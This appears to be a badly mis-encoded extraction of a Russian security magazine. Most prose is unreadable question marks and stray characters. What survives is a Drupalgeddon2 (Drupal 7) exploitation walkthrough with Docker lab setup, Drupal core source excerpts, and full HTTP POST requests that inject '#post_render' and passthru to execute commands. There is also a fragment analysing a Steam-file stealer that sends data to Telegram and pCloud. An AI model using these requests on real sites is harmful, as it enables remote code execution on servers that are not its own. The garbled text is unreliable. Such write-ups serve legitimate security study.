??��??�??????�?.��???�???�??�????�?,�??????�???�???�?�?????�???
???�????�???�?????�?????�?�??�??�??.
??�??�?� ????� ?� ??????�??�??� ???�?????�??,� ????� ?� �??�??�??粻 ????,
???�??�??�??�????�?????�???�?��???�??�??�??�??????,�????�???
???�????�???� MITM????�?� �??�???�??� ???�??�????�??� ?????�,� ???????
???�????��???,�??�??�??�??�????�??�????�??�?????�?�??�??,�??????�
?????�?�??�?�??�??????��??�??�????�??�??�???.
??�??� MITM????�??� ?????�????�?� ???�????�?� ??????� ???�??????.
??� ????� ?� ???�????�?� ???�??�????�???� ???�??� ?????� ?????�???� ????,� ????�
????�??.� ????� ???�???�??� ???�??�????�??� ?????� ????� ???�?????� ?????�?
??�?????�??�???.�??�???�??�??�??�??�????�???�??�??�????�??�????
?????� ????�??,� ???�?� ?????�??� ??????�???� ???� ??????�??�?� ??� ????,� ?????
???�?� ?????�???�?� ?� ???�????,� ?� ????� ????� ????� ??� ???�????� ?????� ???� ??
???� ???????� ??????.� ????�??,� ???�?� ???�???�??� ???�??�????�??� ?????
�????粻 ??.� ?� ?????�??� ???�???�???� ???�??�????�???� ???�??� ?????� ????
????�??�?????�????�?,�???�?????�??�??�??�????�???�??�??,�???�????�
??� ???�??????�??� ???� ???????� ???????� ???�??�?� (???� ????� ???????� �???�
????�???�?粻???�????).
??�??�?????�????�?� ???�????�???�?????�?�?????�?????�??�???
??�??�?????�??�???,�?????�?????�?�??�???�???�??�??�????�???�??�??
?�??�????�?��??�????燗TM????�?.�??�??�????�??�?�??�??�?????.
????�?????�??�???�???�??�??�????�???�??�??
??????????
???�?????,�???�????�??�??�???牜??????�????�?�??????�??�????�???
???????�?� ?� ?????�??� ???�?� ?� ??� ???�??�??� ??� ?� ?????� ????,� ?� ???� ???�?
????�??�??�??粻?�??�??�????�??????�??�????��????�??�??????�??.
???�???�??,��??�??�???�??�??�??�?�????�????.
?????
?????
??�????
???�????????�???????�??
?�?????�?????????
??�????��??,�??�???�????�??�??�????
?????�???�
??????�???�????,�
????�?
??????�?� ?????�???�??� ????�??� ?� ?????
???�??� ????�????.� ????� ???�????� ??� ??,
???� ?� ????�???�??� ???�???� ??????� ????
?????�??????� ???�???�??� ??????,� ???� ????�
???�??� ??????� ???�????�???�?� ??????�??.
???�??�?��?�???�??,�??�??�????�???�
???�?�?�??�?�??�??�??�?�??,�?�???�?
???�??� ???�?� ???�????,� ??� ???????� ????�
??????�??� ??� ???????�???�??� ????????�
?????.�???�???�?,�??�??,��??????�???�
???� ????,� ???�????� ?????�??�???,� ???� ????�
?????�?�??�??�???�??�????�??�???�???�
???� ?� ?????� ???????�??� ???�?� ????????,
????�??� ???�????� ??� ???�???????�??,
????????�?,�?????.
?????�????
????????,牜??????�??�
??�?????� ???� ?� ????,� ???� ?� ???� ?� ???�??� ???�?????� ???�???�?� ???�???� ????�
????????�???,� ????�?????�?� ????� ??� ???�?� ?????� ???�????�??� ???????,
??� ????� ???�?????� ?????� ?� ???� ??� ????�??.� ????� ????� ????�??�???
???� ?????�???� ???�?� ?????� ???�???:� ?????� ?� ????� ???�????�??� ???????
?� ???�??� cookies� ??� ???�??�??,� ??????�????� ???�??�??� ???�??,� ???�????
?� ???????�??� ??� ????�?,� ???�?� ???????� ??� FTP????�????,� ?� ???�?� ???�??
??� �????�???粻 ?� ???�???� Steam.� ???,� ???� ??????� ????????�??� ???�??,� ????�
???� ???�???�??� ?� ?????� ?� ???????� ?� ????????� ???�???�?:� ?� ?????� ??� ????�
???��?�?????.????,��????�??�???�?????�???�?��?爌Cloud.
??�????,� ???�????� ????� ????�???�?� ?????.� ????� ???� ?� ???�???�???-�
???�?� ???,� ??,� ???�???�??� ???????�??� ???????� ???�????,� ?????�??
???�???�?�???�???�???�????????�?�????�?????�??�??
??�?� ??� ???�??� ?????�??� ???�??� ???�??????�?????� ?????� ????�???�???
YouTube��?�???�??��??�????�???,�???????�??��??�???�??�??�????
????�????.�??�???�?????�??�???????�?????�??????�????��???�????
?�??????�??�????,��?�???�??�??�?�??�?�???�??�???�??�??�???�??.
??�???�??�????,�?�???�??????�?,�???�??�??�???�?�???�??????????,
?� ?????� ??� ?????� ????�?????�???�?� ???� ????� ????�????� Steam.� ????�?
??�??�????�??�???�??�?�??????�??�?????�?????��???�???.
???�???�?????�????�??�??�???�??�????�????�???:�?????�??????�?
???�????�?� ??????,� ?� ???� ???�??� ???�??� ???????�??� ??� Go� ???�??,� ?????�
?????�??� ????� ?� ????�??�?????� ?� ???�???� ???�??�??,� ?� ??????�??� ???�???,
??????�???�???� ???�????� ???�?� ?� ?????� ?� ???????�??� ??� ?� ????�?.� ?????�
???� ????� ???� ?????�??� ??� AutoIt,� ???� ????� ??� ????� ???�?????� ?????�????�
?????� ??????�??� ??� ?� ???� ??� ????�????� ???.� ???� ???�??????�????� ???�?
???�??� ???�??� ???�???�?� ????�?� ???�?????�??� ?????:� ???� ???�???�???
?� ???�???�???� ???????�??� Telegram????????,� ???????� ????�?????� ???�???�
??????�???�???�????�??�??�??�????�燭elegram�??????�??�?��??�????�
???� ????�????.� ???�???�??� ???�?� ????� ???�??�???????� ?� ???� ???�?� ??????�
?????�??�??�??�??�???�?�???�?�?�??????�???�???,��??????�??�???�
??�??�?.
???�?�???�???�????�??�????,�?�??�??�????�????�????�????�??�???
???�??� ???�?????� ??????�?� ??� Python� ?� ????�????�???�?� ?� ???????�???
????��??????� py2exe.�??�???�??�??�???�??�??�?�??�??,�??�????�
?????� ???,� ?� ?????� ??� ?????.� ?????,� ?� ???�???,� ???????�???� ???�???� os.
listdir(),� ???�??�?????� ???�??� ?????,� ???�??� ??� ???????� ????�???�???
?????�??�????�????.�???�?�??????�??�??�????�???�??�???�??�????
?�??�?.�???�?�????�??�??�???????�??�??????�?�???�?�???�?��???�
????�?????�?????�???� ?� ?????� ?� ???� ???�??� ????�????� ??� ?????�???� ????�
????��?????�?????�?�??????�???�?????�??:
steam�爋s.listdir(steampath)
steam��'�'.join(steam).decode('utf?8')
ssfnfiles�爁indall('(ssfn\\d+)',爏team)
??�????,�??�????�???�???�???�?�????.�???�??��??�???�???�??�?�??,
??,� ???�???�??� ???????�??� ???????� ???�????,� ?????�??� ???�???�?� ????
????�???� ?????????�?� ?????�?????�??� ???,� ???� ????�???� ???� ???�?
??�????�??�????�??�??�??�????�????�????:
if爏core爄s�
牋爌ass
if爏core爄s爊ot�
牋爀xit(1)
??� ????� ???????�?,� ??????�???�???� ????� ???� ??� ????�?� ????�??�??� ????�
?????�??�??�???�???�??� if爏core�!=�爀xit(1)� ????� ????�?� ???� ?� ????
??�???�??�??�??�?.�??�??,�???�??,�??�?�??�?????�??�???�?????.
???�??�??????�?????�?�????�??�????燩ython�??�???�?��????????�??
???????�?� ???�????.� ???� ???,� ???????�??� ????� ??� ???????�?,� ???�?????
????�?� ?????�?????:� enotproject.� ?� ?� ????�???,� ???????�??� ??� AutoIt,� ????�
?????�?� ????� ????� ?� ???�?� ?� ???�???� ???�???:� \Users\User\Desktop\Racoon
Stealer\build.� ???�????�?????�??� ???�??� ??� ???�????� ???�??� �???�
?� 玆acoon� Stealer粻 ???�??� ???� ??� ????�??�?� Lolzteam,� ???� ????� ???� ?????
�???� ???�?????粻 ???�???� ????� ????�???� ??� ?????� ???�??,� ?� ???�?� ????�
?????�??�???????�?�?�?????�??�??�????�?燩ython.
???牜????粻???�??�?�??�?????�????�??:�?�??�?�??�???�?�??��????�
????�??,�????�?????�??�??�????�?�??�????�???�?,��??�????�???�???
??� ???�???,� ????� ??� ???�?????�?� ???�??� ????�???�???� ????�??�????� ?� ????
???????�??.
???�???�?� �???粻 ???�????� ?� ????� ???????,� ???�???�?� ???� ????�??�????
?� ???�??� ???????�??� ?� ???�??� ???????�??� ???�???�?� ?????� ???�??� ?????�
????�?� ???�???�?� ???�????�??� ???????,� ?� ???????� ??� ???�????� ????� ????�
?????�??� ????,� ?� ???� ??????�?????� ??� ???�??� ????�?� ????�???�??� ???�?.
??� ????�????� ???????�?� ???�?� ???� ???�??� ?????� ??????�???� ??????�?
�??�?� ???�????�?�,� ?� ?� ????� ???�??�?� ???�????� ????�??� Telegram,� ???????
??� ??????�???� ???� ????????� ???�?.� ???�?????� ?????�?� ???????�??� ?� ????�
????�??�????,�???�??�????,�??????��???�??�??�????�??�??�???�????�
??�??�????�??�?�??�??�?????�???�???��????�???�??�??�?�??�????�??
???????.
??�????�????�??�??�???��???�??�???.�??�????,�??????牜????粻????�
?????�???�??�???,�???�???????�??????�??�?????�???�??��???????�???�
????�?� pCloud,� ????� ???�?� ?????�??????�?� ???�????� ??????�??�??� ?� ?????
???�?��??????�???�????�??�?.�??�???�????��?????�?�??�???�????�
????� ???�?� ???�????� �???� ???�?????粻 ???�??�????�???�?� ?????� ?� ????
?????� ???�????� ????�????�?� ?� ?????�??� ????,� ???�???�?� ????� ???????� ??
????�?�??�?�???�??�???�??�?.
??��???�?????�???�??�???��???�???�??�??�?�???�?????�???????�
???� ????????�??,� ???????�??� ????� ?� ???????�???� ????�???????�?????:
???�??� ??� ???� ?????�???� ???�??� ??� ???�?� ???�??� ???????� (????�???,� ?� ????�
?????� ?????),� ???�???�?� ????� ??� ???�?????�??� ???�?� ???�?????� ??????
?�???????�??�???�?,��?????�?�??�???�??牜???�?粻?????�???????�???�
???�??�???�?.�?�?????�??��??,�??�?????�??�??�?�??�??�??�??????�
???�?????�?????��????�??�?????�?爌Cloud�???�??�??�???�?�???�????�
???� ???�?,� ???�????�??� ?� ?????�??� ????�??�??� ?� ????�??�??� ?????.� ??,� ?,
??????�???,�?????��??�???�??�?�??�???�??.
??????????
???�?????�?,�????�?�??�????��???�???�??�?????�?�??????�?��???.
???�???�?� �???� ???�?????粻 ?????�?� ????� ???� ???�??�??� ???????�??
?� ???�?� ???�????,� ????� ??� ???�?� ??� ????�?????�???�?,� ???� ???� ??????�???
?� ???�??�??� ??� ?????�?� ???�???� ???�?.� ???�?????,� ???� ???�??� ??� ???� ?????�
????�?��??�???�??�???�?,��??�????�??�????�???�?�???�???�??�???
???????.� ??� ????�????�??� ????� ???�????� ??????�???� ?????�?� ?� ???�?????
???????� ?????�??:� ????� ??� ???�??� ????�???????� ???�??� ????�??�?� ?� ????�
?????,� ??????� ??� YouTube,� ???�????� ????�?,� ??????� ??????�??� ??????�??,
????�?????�???� ????�???�??� ??????�??� ?� ???�??�??� ???�????...� ??????�??
???�???� �??�?粻 ???�???� ???????�???� ?� ???�???�?� ????�?� Whois� ???�???
????�???� ???�?� ????�??�??�????� ??????�?????� ???� ???????.� ?� ????�?
�???�???� ??????粻 ??� ???�?� ???�???� ????�????�?� ????�???�??� ????�??,
??????�?�??�??�???�???�?�??�????�???.
??�??�???�??,�??�?????�???�??�????�??�????�???�???��???�???�
???� ???�?� ?????�???,� ?????�???�???�???,� ??� ???�???� ???�????�?� ????�
??????� ?????� ?� ???�???� ?� ????�??�???�??� ?????�?.� ???�?� ????�?� ????�?
????�?�????�?��???�???�?��????�???�????????.
?� ?????,� ??????,� ???� ????� ???�?� ?????�???� ????�?� ???????,� ????�?� ????�
?????�?� ????�??� ???�?????�??�?� ?� ???????� ?� ???�???�?� ???�?� ?????� ????�
????�??�??�?�???�??��???????�??�??�???�??.
?????
?????????????
?????
?????????
??????????
DRUPALGEDDON2
?燚RUPAL�
aLLy
ONsec
@iamsecurity
??�??�?� ???� ?????� ?� ????�????� ???�????�?� ?� ???�???
???????�??� ???�?????� Drupal� ?� ??� ???�?� ???�????� ??????
??� ????.� ????�?,� ?????�??� ????�???� ?� ???�?� 8.x,� ??� ?????�
????�?�??�??�??�????�??�????�燚rupal���???�?�???
???�??� ???�??� ??????�?� ????� ????�?� ???�??!� ???�??�???�
??????� ???�??????� ?� ???� ????�??,� ??� ??� ???�???.� ???�??� ?
??????,�??�??�???�???.
??????????
???� ??????�??�??� ???�????�?� ???�?� ???�?� ??????�?????� ???�????�??
??????�????燚rupal�?燚ocker燞ub.�??�?????�???�??�??�??��??�??�???�
????燙MS.�??�???�??�???�?�??�??�?.
$燿ocker爎un�d�e燤YSQL_USER="drupal"�e燤YSQL_PASSWORD="7C4TYV
ARsy"�e燤YSQL_DATABASE="drupal"�?rm�?name=mysql�?hostname=mysql�
mysql/mysql?server
??�???� ????� ??� ???�??�????� ?� CMS.� ?� ????� ???� ?????� ?????� ???�??� ????�
?????�??�??��57.
$燿ocker爎un�d�?rm�p80:80�p9000:9000�?link=mysql�
??name=drupalvh�?hostname=drupalvh燿rupal:7.57
??�???�????�????????????�???�??�???�?燚rupal��??�???�?,�??�?��??
??????�?.
??�????�?燚rupal�57
???�??�???�???�?�????�?�???????.�??�??�?��????�?????�?�???�???�
??�??�??????燲debug.
$爌ecl爄nstall爔debug
$爀cho�"zend_extension=/usr/local/lib/php/extensions/
no?debug?non?zts?20151012/xdebug.so"��/usr/local/etc/php/conf.d/
php?xdebug.ini
$爀cho�"xdebug.remote_enable=1"�>�/usr/local/etc/php/conf.d/
php?xdebug.ini
$爀cho�"xdebug.remote_host=192.168.99.1"�>�/usr/local/etc/php/conf.
d/php?xdebug.ini
$爏ervice燼pache2爎eload
??�?????�???????營P??????�2.168.99.1�?�???��???�?�??�????�?�???
??� ????�????�??� ???�????�?� xdebug.so.� ???�?� ???????�????� ???�????
Apache�?????�????�???�???�??????�????�??.��?????��??????�???
??????�??燩hpStorm��??�??????燲debug爃elper�??燙hrome.
??�???� ???�???�?� ???????�?� CMS,� ???�???� 9000??� ????� ?� ?� ???�??,
?�??????.
??????�???
??�??�??�?�???�???�??�????�?????�???�???.��???�??�??�??�??�???�
??????�?�???�??�??,�??��???�??.
???�????�?????�???�???�燚rupal�
???�????�?????�???�???�燚rupal�?????�???,�??�?????�??�?�??�???????�??�?????�??�??,�???�??�???�???�
???�??�??�??�??�??�?�??�???�?.�??�??,�??�?�??�?�????!�???�???�??
??� ??� ?� ???� ????�????� ???�??�??� ?� Renderable� Arrays,� ???????� ?????� ?????�
????�?��??????燫ender燗PI.�????�??�?�??�????�??�??�??�?,�??????
??????�?�??�???燾all_user_func��??�????�?�??????�???.
???� ??????� ???�?????,� ???� ????�???�???�?� ?????� ?� ???�???�??.� ????
?� ????� ??� ???�???� ????�???� ??�??�????�??� URL,� ??� URI� ???????�????�???
??�???爄ndex.php�??燝ET?????????爍.
/index.php
19:爎equire_once燚RUPAL_ROOT�.�'/includes/bootstrap.inc';
20:燿rupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
21:爉enu_execute_active_handler();
/includes/menu.inc
510:爁unction爉enu_execute_active_handler($path�燦ULL,�$deliver��
TRUE)爗
...
521:牋爄f�($page_callback_result�=燤ENU_SITE_ONLINE)爗
522:牋牋爄f�($router_item�爉enu_get_item($path))爗
???�????,� ???� ????�??????� ????�???� http://drupal.vh/user/register
?????�????�??�??�??爃ttp://drupal.vh/index.php?q=user/register.
??�????�?�?????�燚rupal�/includes/menu.inc
455:爁unction爉enu_get_item($path�燦ULL,�$router_item�燦ULL)爗
456:牋�$router_items��&drupal_static(__FUNCTION__);
457:牋爄f�(!isset($path))爗
458:牋牋�$path��$_GET['q'];
459:牋爙
460:牋爄f�(isset($router_item))爗
461:牋牋�$router_items[$path]��$router_item;
462:牋爙
??�??� ????� ???�???�???� ???� ??????� ???�???� array_slice� ?� ?????�???�?
???�??��???�??�??�??�????�?�????�?�??�???��????�?.�?�???�????
menu_router.
473:牋牋�$parts�燼rray_slice($original_map,�燤ENU_MAX_PARTS);
474:牋牋�$ancestors�爉enu_get_ancestors($parts);
475:牋牋�$router_item�燿b_query_range('SELECT�*燜ROM爗menu_router}�
WHERE爌ath營N�(:ancestors)燨RDER燘Y爁it燚ESC',��燼rray(':ancest
ors'�>�$ancestors))?>fetchAssoc();
?� ???�???� ???�??�?� ???�???,� ???????� ???�?� ?????�???� ???� ????�????
?�???�???�??�???�????.
???�???��??????�???��????�??�???�?????��?�??????�??
??�?� ????� ?� ????�???�??�???� ???� ???�??� ???�??,� ??� ??� ??????�???� ?????
???�???燾all_user_func_array.
510:爁unction爉enu_execute_active_handler($path�燦ULL,�$deliver��
TRUE)爗
...
518:牋燿rupal_alter('menu_site_status',�$page_callback_result,�$
read_only_path);
...
519:
520:牋�//燨nly燾ontinue爄f爐he爏ite爏tatus爄s爊ot爏et
521:牋爄f�($page_callback_result�=燤ENU_SITE_ONLINE)爗
522:牋牋爄f�($router_item�爉enu_get_item($path))爗
523:牋牋牋爄f�($router_item['access'])爗
...
527:牋牋牋牋�$page_callback_result�燾all_user_func_array($router
_item['page_callback'],�$router_item['page_arguments']);
???�?,�??�????,�??�??�?�????�??�???�??�????�?�燚rupal��????�???�
??�????� uploadAjaxCallback.�?�????�??�???????�????�???�??�?????
???�??�???�??�???��???�???????�??�?�??�???.�??�??,��???�??�???�
???�???�??????�??�???�� file_ajax_upload.�??�???�???�???�?�????�
???�?� ???�??,� ???�????�??� ?� ???????� AJAX????�????,� ?� ?� ???� ????� ???�?,
???�??�??��??�???�??�???�?????�???�?�?�??�?????.
/modules/file/file.module
238:爁unction爁ile_ajax_upload()爗
239:牋�$form_parents�爁unc_get_args();
240:牋�$form_build_id��(string)燼rray_pop($form_parents);
241:
242:牋爄f�(empty($_POST['form_build_id'])爘|�$form_build_id�!=�$_POST
['form_build_id'])爗
...
250:牋爈ist($form,�$form_state,�$form_id,�$form_build_id,�$commands)�
=燼jax_get_form();
...
268:牋燿rupal_process_form($form['#form_id'],�$form,�$form_state);
...
285:牋�$output�燿rupal_render($form);
??�???�??�?????,�??�???��????�????�?????�???�??�??�???��?????�
???�??�???.
mysql>爏elect爌ath,page_callback爁rom爉enu_router爓here爌age_callback
='file_ajax_upload';
+???????????+??????????????????+
|爌ath牋牋牋|爌age_callback牋牋|
+???????????+??????????????????+
|爁ile/ajax爘爁ile_ajax_upload爘
+???????????+??????????????????+
1爎ow爄n爏et�(0.00爏ec)
???�???�?�??�???�??�????,�??�??� http://drupal.vh/file/ajax/test/
test.
??�????�??�???��????�le/ajax
??�??�??� ???�??� ???�?� ???� http://drupal.vh/file/ajax/???_????????/
????/id_?????,� ???� ???� ???�??�?� ?� ????� ?� ???� ????� ??� ???�???,� ???????
???�?� ???????�???.� ?� ???�???� ???�?� ???�??� ???�?????�?� ????????� for?
m_build_id,�??????�???�???�??�?爄d�???�???�?????�??�?.
242:牋爄f�(empty($_POST['form_build_id'])爘|�$form_build_id�!=�$_POST
['form_build_id'])爗
??�?�??�?�????�???�?�?�???��??????�??�???� ajax_get_form.燗JAX
???�?????�???�??????�????�????��?????�?�??�????��??�??�????�??
???�??�??�???�???.�??�???�??�?��??????� ajax_get_form燚rupal�???�
????,� ???� ?� ????� ???� ???�??� ????????�?� ???�?,� ???� ???????� ???�???�??
????�????� ???� ???????�??� ?????�?????.� ????� ???� ??� ???,� ??� ??????� ????�?
????�????�?????.
250:牋爈ist($form,�$form_state,�$form_id,�$form_build_id,�$commands)�
=燼jax_get_form();
/includes/ajax.inc
322:爁unction燼jax_get_form()爗
...
323:牋�$form_state�爁orm_state_defaults();
324:
325:牋�$form_build_id��$_POST['form_build_id'];
...
328:牋�$form�爁orm_get_cache($form_build_id,�$form_state);
329:牋爄f�(!$form)爗
...
335:牋牋爓atchdog('ajax',�'Invalid爁orm燩OST燿ata.',燼rray(),燱ATCHD
OG_WARNING);
336:牋牋燿rupal_exit();
337:牋爙
??�?�?????��???????��??�??�?��??�?????,��????��??????�???�
????�爁ile/ajax�??�???�??�?????�???�??�?.
??????????? ??????
?
? �?????�?????
?????
?????????????
?????
?????????�?????????燚RUPALGEDDON2
?燚RUPAL�
???????????��????
????,�??�?????�?�????�??�?,�??�?????�??�???�???�??,��??�????,
?????�?????�???�?????�?.�??�?????�??,�??�??�???�?�?????�???�???�
??????�??�???�???????�???�??�??��???????�#default_value.
/modules/user/user.pages.inc
30:爁unction爑ser_pass()爗
31:牋爂lobal�$user;
32:
33:牋�$form['name']�燼rray(
34:牋牋�'#type'�>�'textfield',
35:牋牋�'#title'�>爐('Username爋r爀?mail燼ddress'),
36:牋牋�'#size'�>�,
37:牋牋�'#maxlength'�>爉ax(USERNAME_MAX_LENGTH,燛MAIL_MAX_LENGTH),
38:牋牋�'#required'�>燭RUE,
39:牋牋�'#default_value'�>爄sset($_GET['name'])��$_GET['name']��''
,
40:牋�);
...
60:牋爎eturn�$form;
???�??��??�?�???�?�?????�???�?????�?
?�??????�???�??�?�?�????�???????燫CE????�???�???�?????:
#post_render[]=exec&#children=ls
??� ???� ????:� ???� ??????�?� ???????�??� ???�??� ?� ?????�??� ???�?� ???�?
??� ??????�???.� ?????�??� ???,� ????�???�???,� ???� ?????� form_set_cache
??????�???�??????�??�?�??�??�??�??�?��??.
/includes/form.inc
557:爁unction爁orm_set_cache($form_build_id,�$form,�$form_state)爗
558:牋�//�ours燾ache爈ife爐ime爁or爁orms爏hould燽e爌lenty.
559:牋�$expire��600;
...
571:牋爄f�(isset($form))爗
...
576:牋牋燾ache_set('form_'�.�$form_build_id,�$form,�'cache_form',�
REQUEST_TIME�+�$expire);
577:牋爙
??�??�??�?�?????�??�???�??�燿rupal_rebuild_form.
464:爁unction燿rupal_rebuild_form($form_id,�&$form_state,�$old_form�
NULL)爗
465:牋�$form�燿rupal_retrieve_form($form_id,�$form_state);
...
502:牋爄f�(empty($form_state['no_cache']))爗
503:牋牋爁orm_set_cache($form['#build_id'],�$form,�$form_state);
504:牋爙
???� ???�???� ??????�???� ??� drupal_process_form,� ???????� ??????�???�?
???�???�??�?�????�??�?.
865:爁unction燿rupal_process_form($form_id,�&$form,�&$form_state)爗
?�??�?�??�???��???�??,�??�??�??????�??????�??�?�?????�?��??.
969:牋牋爄f�(($form_state['rebuild']爘|�!$form_state['executed'])�&&�
!form_get_errors())爗
970:牋牋牋�//燜orm燽uilding爁unctions�(e.爂.,燺form_builder_h
andle_input_element())
971:牋牋牋�//爉ay爑se�$form_state['rebuild']爐o燿etermine爄f爐hey�
are爎unning爄n爐he
972:牋牋牋�//燾ontext爋f燼爎ebuild,爏o爀nsure爄t爄s爏et
973:牋牋牋�$form_state['rebuild']�燭RUE;
974:牋牋牋�$form�燿rupal_rebuild_form($form_id,�$form_state,�$form);
975:牋牋爙
???�??� ?????� ????�??� ($form_state['rebuild']� ||� !$form_state['exe?
cuted'])� ???�?� ??� ?????� ?????�???� ???�?� ?????� TRUE,� ?� ???� ?� for?
m_get_errors� ????� ????�???.� ???� ???�???� ???�???�?,� ?????�?� ??� ???�???�
???��??�?�??�??.
1676:爁unction爁orm_get_errors()爗
1677:牋�$form�爁orm_set_error();
1678:牋爄f�(!empty($form))爗
1679:牋牋爎eturn�$form;
1680:牋爙
1681:爙
??�?,� ?� ??????�??,� ???????� ???�????� ??� ?????�???�?,� ?� ??� ?????� ????�?
????燯sername爋r爀?mail燼ddress爁ield爄s爎equired.
??�???�??�??�??�??��??�?�??�??�??�??�???�?
???�?????�??�???�?�??�???爁orm_set_error.
1623:爁unction爁orm_set_error($name�燦ULL,�$message��'',�$limit_
validation_errors�燦ULL)爗
1624:牋�$form��&drupal_static(__FUNCTION__,燼rray());
1625:牋�$sections��&drupal_static(__FUNCTION__�.�':limit_validatio
n_errors');
...
1630:牋爄f�(isset($name)�&&�!isset($form[$name]))爗
1631:牋牋�$record�燭RUE;
1632:牋牋爄f�(isset($sections))爗
...
1640:牋牋牋�$record�燜ALSE;
...
1654:牋牋爙
1655:牋牋爄f�($record)爗
1656:牋牋牋�$form[$name]��$message;
1657:牋牋牋爄f�($message)爗
1658:牋牋牋牋燿rupal_set_message($message,�'error');
1659:牋牋牋爙
1660:牋牋爙
??�???�??�????�?�??????�??� $record:�???�??�???�??�???�� FALSE,�?
????�????�?�???�?�?�????�???????�?.�??�????� FALSE�??�??�???�?,
???�?�$sections��?爊ull.
1626:牋爄f�(isset($limit_validation_errors))爗
1627:牋牋�$sections��$limit_validation_errors;
1628:牋爙
???�??�???�??????�?�??�?爁orm.inc,�?????�???�?�????�????:
1412:牋牋爄f�(isset($form_state['triggering_element']['#limit_
validation_errors'])�&&�($form_state['triggering_element']['#limit_
validation_errors']�!==燜ALSE)�&&�!($form_state['submitted']�&&�!
isset($form_state['triggering_element']['#submit'])))爗
1413:牋牋牋爁orm_set_error(NULL,�'',�$form_state['triggering_element'
]['#limit_validation_errors']);
1414:牋牋爙
...
1423:牋牋爀lseif�(isset($form_state['triggering_element'])�&&�!isset(
$form_state['triggering_element']['#limit_validation_errors'])�&&�!$
form_state['submitted'])爗
1424:牋牋牋爁orm_set_error(NULL,�'',燼rray());
1425:牋牋爙
...
1430:牋牋爀lse爗
1431:牋牋牋燿rupal_static_reset('form_set_error:limit_validatio
n_errors');
1432:牋牋爙
??�??�?�???�??�?�?????燩OST????�???�?�?????�?��??�?????�??�?
????�??,� ??� ????� ????�??� ???????� ??� ???�??,� ??� ????�????� ??� ????�?
??�????.�?????�??��????�??�????�??�???�??�?�??�???爁orm_set_error
($limit_validation_errors)� ??????�???�?� ???�??� ???�??,� ???????� ?????�
????�???�??�??�??????�??�$sections.
???�????�??�??�??�???�??�?�??�??.
? isset($form_state['triggering_element'])� ???�??�???� true.
????� triggering_element� ???�???�?� ??� ???�???,� ???????� ???�??� ????�??�?
???�?.��????�??�??�??�???�?燛?mail爊ew爌assword.
? !isset($form_state['triggering_element']['#limit_valida�
tion_errors'])�??�??�???� false.�???�???�??�???�?,�???�???�???
?????� ???�??� ??????�??� ???� ???.� ??� ?????�?� ??� ????�???�?,� ?????�?
????爈imit_validation_errors�????�????�???爁alse.
? !$form_state['submitted']�??�?�??�??�???� false.�??�??�??�?
??????�???,�???爏ubmitted�???�??�??�爐rue.
??�????�??�???�?�????�?????.�???�??,�??�??�??�??�????�??�
???�?????�??
???�?????,��????�??�?�???�???�?�??�????�??�?� submitted�???????�
???�$form_state.
1987:牋牋爄f�(!empty($form_state['triggering_element']['#execut
es_submit_callback']))爗
1988:牋牋牋�$form_state['submitted']�燭RUE;
1989:牋牋爙
??�???� ????�?� ?????�?� ????� triggering_element?� ????� ??� ??� ???�??� ????,
??�??�??�??�??�???�?�??�??�??????�???�?��??�?.
2142:牋爄f�($process_input)爗
...
2144:牋牋爄f�(_form_element_triggered_scripted_submission($element,�$
form_state))爗
2145:牋牋牋�$form_state['triggering_element']��$element;
2146:牋牋爙
...
2151:牋牋爄f�(isset($element['#button_type']))爗
...
2155:牋牋牋�$form_state['buttons'][]��$element;
2156:牋牋牋爄f�(_form_button_was_clicked($element,�$form_state))爗
2157:牋牋牋牋�$form_state['triggering_element']��$element;
2158:牋牋牋爙
2159:牋牋爙
2160:牋爙
???�????��??�???燺form_element_triggered_scripted_submission.
2180:爁unction燺form_element_triggered_scripted_submission($element,�
&$form_state)爗
2181:牋爄f�(!empty($form_state['input']['_triggering_element_name'])�
&&�$element['#name']�=�$form_state['input']['_triggering_ele
ment_name'])爗
2182:牋牋爄f�(empty($form_state['input']['_triggering_element_value']
)爘|�$form_state['input']['_triggering_element_value']�=�$element['#
value'])爗
2183:牋牋牋爎eturn燭RUE;
2184:牋牋爙
2185:牋爙
2186:牋爎eturn燜ALSE;
2187:爙
????�??�????�???�??�??�?,�??�?�?� $form_state['input']['_trigger?
ing_element_name']�� $element['#name'].�??�??� $form_state['input']
?????�??� ???� ???????�??� ?� ???�?� ???????�?.� ?????� ????�??,� ?????�??
_triggering_element_name� ?� ???�??� ???�???� ???�??�?,� ???�?� ????�??
????�?????�??�??�??�??,�???�???�????�??�?????�?�??�?.�??�???�?
???� ???�???.� ???�??� ?� ?????�??� _triggering_element_name� ???� ????�???�?
??� ?????� ???�?� ????�?� ??????,� ?� ???�?????�??� ???�??� (????????� op)
??????�???� ??� ?????,� ???�?� ??� ??????�????� ???�?????� triggering_ele?
ment.
???�??????爐riggering_element��??????�??????�?
_triggering_element_name
???�???�???�?,� ???�?� ??????� ???�?� ??� ???�?� ?� $form_state['trigger?
ing_element']�??�???�????.
??�????�??????�?????爐riggering_element
??�???�???�??�???�??�???�?�??�?�??????�?�#executes_submit_call?
back,��??�??�?�?????�??�?� #limit_validation_errors,��??�??�??,�??
??�??�?�??�?�???�??�??��?????�???�??�?�????�????�??�??�??????�
???�???�???�???�??????.
??�?????�????�?????�??�??�?????�??�??�?
??�???� ???� ???�?� ??????�?� ?� ???,� ??� ????� ?� ???�???� cache_form� ????� ????�
???.
???�?�?????��??
????�?????�??�??�?�??�??�???�?��???�?�??�???��???�???�???�???
form_build_id.
????????
??�???�?�??�??????�??�??????�??�???�?.�??�??�??�??�??�???�??�?
?� ???� ???�???.� ???�???� ??????�???� ???�?� ?� ???�??� ???�?????� ?� ???,
?� ?????� ???�??� ???�????� ?� ?le/ajax� ???�???� ??� ????�?� ?� ????�????� ????�
???????.
???�??�??�??�????�??�?????�??:
POST�/user/password?name[%23post_render][]=passthru&name[%23children]
=ls燞TTP/1.1
Host:燿rupal.vh
Content?Type:燼pplication/x?www?form?urlencoded
_triggering_element_name=name&form_id=user_pass
??�???�??�????,�??�??�????�(default_value)�??�??????�?� name�?????�
??�?�??�???�$_GET,�????�?�??�??�??�????�???�?�??.
/modules/user/user.pages.inc
30:爁unction爑ser_pass()爗
...
39:牋牋�'#default_value'�>爄sset($_GET['name'])��$_GET['name']��''
,
????�??營D,�??????�??�???�??�???,��??�???�???�??�?�??�??�??�??.
POST�/file/ajax/name/%23default_value/form?c2ards5ANmsD9HGEq4986Ruf
9gmuDyAr3Fu7d4t75Lg燞TTP/1.1
Host:燿rupal.vh
Content?Type:燼pplication/x?www?form?urlencoded
form_build_id=form?c2ards5ANmsD9HGEq4986Ruf9gmuDyAr3Fu7d4t75Lg
